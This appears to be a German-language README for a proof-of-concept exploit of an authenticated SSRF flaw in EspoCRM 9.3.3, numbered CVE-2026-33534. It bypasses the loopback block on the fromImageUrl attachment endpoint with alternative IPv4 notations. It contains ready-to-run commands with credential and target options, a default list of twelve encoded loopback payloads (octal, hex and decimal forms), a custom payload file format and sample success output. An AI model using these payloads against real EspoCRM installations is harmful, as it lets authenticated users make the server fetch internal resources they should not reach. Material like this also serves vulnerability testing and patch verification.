entrovyx/cve-2026-33534EspoCRM 9.3.3 - Authentifizierte SSRF über alternative IPv4-Notation
Authentifizierter SSRF-Proof-of-Concept für EspoCRM 9.3.3 über alternative IPv4-Loopback-Notation im /api/v1/Attachment/fromImageUrl-Endpunkt.
EspoCRM 9.3.3 blockiert direkte Loopback-URLs wie http://127.0.0.1/..., aber der serverseitige Fetch-Pfad akzeptiert alternative IPv4-Darstellungen, die cURL zu Loopback normalisiert. Dies ermöglicht es einem authentifizierten Benutzer mit Zugriff auf den betroffenen Attachment-/Bild-Upload-Ablauf, den EspoCRM-Server zum Abrufen interner Ressourcen zu veranlassen.
Der Exploit sendet zunächst eine direkte 127.0.0.1-Kontrollanfrage und erwartet, dass diese mit HTTP 403 blockiert wird. Anschließend testet er mehrere codierte Loopback-Payloads und meldet, welche ein gespeichertes Attachment erzeugen.
requestsAbhängigkeit installieren:
python3 -m pip install requests
Grundlegende lokale Validierung gegen eine EspoCRM-Instanz, die auf Port 8083 läuft:
python3 CVE-2026-33534.py \
-u http://127.0.0.1:8083 \
-U admin \
-P 'Admin12345!' \
--internal-port 8083 \
--cleanup
Testen eines internen Dienstes auf einem benutzerdefinierten Port und Pfad:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--internal-port 9002 \
--internal-path /interno.png \
--cleanup
Nur benutzerdefinierte Payloads verwenden:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--no-default-payloads \
--payload 0x7f000001 \
--payload 2130706433
Der Exploit testet standardmäßig diese Loopback-Host-Darstellungen:
0177.0.0.1
0177.0000.0000.0001
0177.1
0x7f.0.0.1
0x7f.0x0.0x0.0x1
0x7f000001
2130706433
017700000001
127.1
127.0.1
127.000.000.001
0000000000000000000000000177.0.0.1
Benutzerdefinierte Payload-Dateien werden unterstützt. Jede Zeile kann entweder sein:
host
label=host
Beispiel:
hex-dword=0x7f000001
decimal-dword=2130706433
Ausführen mit:
python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt
-u, --url Basis-EspoCRM-URL
-U, --username EspoCRM-Benutzername
-P, --password EspoCRM-Passwort
--internal-port Interner Loopback-Port, der abgerufen werden soll
--internal-path Interner Pfad, der abgerufen werden soll
--payload Zusätzliche Loopback-Host-Notation
--payload-file Datei mit einem Host-Payload pro Zeile
--no-default-payloads Nur benutzerdefinierte Payloads verwenden
--field Attachment-Feld, Standard: avatar
--parent-type Übergeordneter Entitätstyp, Standard: User
--parent-id Optionale übergeordnete Entitäts-ID
--cleanup Von erfolgreichen Payloads erstellte Attachments löschen
--stop-on-first Nach dem ersten erfolgreichen Bypass stoppen
--insecure TLS-Zertifikatsprüfung deaktivieren
Eine erfolgreiche Ausnutzung zeigt die blockierte direkte Loopback-Kontrolle und ein oder mehrere akzeptierte codierte Payloads:
[*] Control response: HTTP 403 Not allowed URL.
[+] octal dotted 0177.0.0.1 HTTP 200 id=... type=image/svg+xml size=4438
[+] hex dword 0x7f000001 HTTP 200 id=... type=image/svg+xml size=4438
[+] Vulnerable behavior confirmed.
[+] Direct loopback control: HTTP 403
[+] Successful payloads: 12
/client/img/logo-light.svg vom eigenen Loopback-Listener des Ziels ab. Passen Sie --internal-port und --internal-path für einen anderen internen Dienst an.User.avatar; verwenden Sie --field, --parent-type und --parent-id, wenn das getestete Konto einen anderen Upload-Kontext benötigt.--cleanup während des Testens, um erstellte Attachments automatisch zu löschen.